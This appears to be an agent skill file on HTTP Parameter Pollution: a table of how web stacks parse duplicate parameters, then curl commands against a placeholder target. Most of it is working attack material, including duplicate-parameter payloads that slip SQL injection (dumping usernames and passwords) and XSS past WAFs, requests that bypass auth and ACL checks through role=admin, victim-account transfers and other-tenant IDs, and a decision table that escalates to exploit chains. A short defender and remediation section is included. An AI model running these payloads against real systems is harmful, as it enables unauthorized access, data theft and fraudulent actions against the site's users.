| name | hpp |
| description | HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"HPP, HTTP parameter pollution, duplicate parameters, parameter precedence, WAF bypass via dup params, parser discrepancy, ?a=1&a=2","tags":"hpp, parser-discrepancy, waf-bypass, auth-bypass","mitre_attack":"T1190"} |
HTTP Parameter Pollution (HPP)
Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.
1. Parser precedence table
When ?id=1&id=2 (or duplicated body params) is received:
| Stack | request.GET['id'] / equivalent | getParameterValues / list view |
|---|
PHP ($_GET) | last wins (2) | $_GET['id[]'] only; otherwise the dup is dropped |
ASP.NET (Request.QueryString["id"]) | comma-concatenated ("1,2") | GetValues returns both |
| ASP Classic | comma-concatenated | — |
Java Servlet (getParameter) | first (1) | getParameterValues returns both |
Java Spring @RequestParam String | first | List<String> binds both |
Node.js qs (Express default) | array (["1","2"]) | n/a |
Node.js querystring (legacy) | array | n/a |
Python Flask request.args.get | first | getlist returns both |
Python Django request.GET['id'] | last | getlist returns both |
Python urllib.parse.parse_qs | list (["1","2"]) | — |
| Ruby on Rails | last | params[:id] is the last; arrays via id[]= |
Go net/http r.URL.Query().Get | first | ["id"] returns all |
Perl CGI param("id") | first in scalar, list in list context | — |
nginx $arg_id | first | — |
Apache mod_rewrite %{QUERY_STRING} | raw — passes both | — |
| AWS API Gateway → Lambda proxy | last in queryStringParameters, all in multiValueQueryStringParameters | — |
| Cloudflare WAF | inspects all values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |
The exploitable pattern: WAF/proxy reads value A, app reads value B.
2. Detection
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'
curl -s "http://<TARGET>/api?id=1;id=2"
curl -s "http://<TARGET>/api?id=1&id =2"
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"
Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
echo "== $pair =="
curl -s "http://<TARGET>/echo?$pair"
echo
done
3. WAF bypass via duplicate parameters
The WAF inspects one occurrence; the app concatenates / picks the other.
curl -G "http://<TARGET>/search" \
--data-urlencode "q=1" \
--data-urlencode "q=UNION SELECT user,password FROM users--"
curl -G "http://<TARGET>/search" \
--data-urlencode "q=harmless" \
--data-urlencode "q=<svg/onload=alert(1)>"
curl -G "http://<TARGET>/cmd" \
--data-urlencode "host=' OR 1=1--" \
--data-urlencode "host=8.8.8.8"
Mixed source confusion — GET vs POST:
curl -X POST "http://<TARGET>/api?role=user" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=admin'
4. Server-side HPP — auth / ACL bypass
The auth layer evaluates one value; the controller acts on another.
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
curl -X POST "http://<TARGET>/users/create" \
-d 'role=user&username=x&role=admin'
curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER"
5. Client-side HPP
User-supplied parameter is re-emitted into a link or redirect without re-encoding &.
Vulnerable template: <a href="/proxy?url=USER_INPUT&action=read">
Payload: USER_INPUT = http://x.tld?evil=1
Rendered link: /proxy?url=http://x.tld?evil=1&action=read
Server sees: url=http://x.tld?evil=1 AND action=read (still benign)
Now payload: USER_INPUT = http://x.tld?evil=1&action=delete
Rendered link: /proxy?url=http://x.tld?evil=1&action=delete&action=read
Server (first-wins): action=delete ← attacker controls flow despite "&action=read" being hard-coded
curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head
6. Injection delivery
curl -G "http://<TARGET>/search" \
--data-urlencode "q=' UNION SELECT 1,2,3--" \
--data-urlencode "q=' UNION SELECT username,password,3 FROM users--"
curl -G "http://<TARGET>/view" \
--data-urlencode "name=harmless" \
--data-urlencode "name=<img src=x onerror=alert(1)>"
7. Tools
- Burp Param Miner — finds hidden / undocumented params, reflects, dup-detection.
- HTTPParameterPollution Burp extension — generates dup-permutations.
- wfuzz / ffuf — fuzz with
-z list,1-2-1,1 to inject duplicate keys.
- sqlmap
--param-del=';' -p 'q' --skip-urlencode — for separator-style HPP.
- Hand-rolled Python:
requests.PreparedRequest lets you pass a list of tuples to keep order: [("id","1"),("id","2")].
8. Detection signatures (defenders)
| Signal | Source |
|---|
Two id= (or any key) per request line | access logs, request audit |
| WAF rule fired on one occurrence, request still 200 | WAF + app log correlation |
?key[]= or ;key= patterns | nginx / Apache logs |
ASP.NET request that concatenates user input into "1,2" and forwards to a backend | app trace |
Differential outcome on ?a=1&a=2 vs ?a=2&a=1 | active monitoring probe |
Remediation: canonicalize duplicates before auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding & and =.
9. Decision gate
| Observation | Action |
|---|
| Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain |
| Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity |
| Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research |
| Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF |
Cross-references
- WAF bypass payload obfuscation:
skills/standard/exploit/web/waf-bypass/SKILL.md
- SQLi chain:
skills/standard/exploit/web/sqli/SKILL.md
- BFLA / IDOR via param shadowing:
skills/standard/exploit/web/bfla/SKILL.md
- HTTP smuggling (related parser-discrepancy class):
skills/standard/exploit/web/smuggling/SKILL.md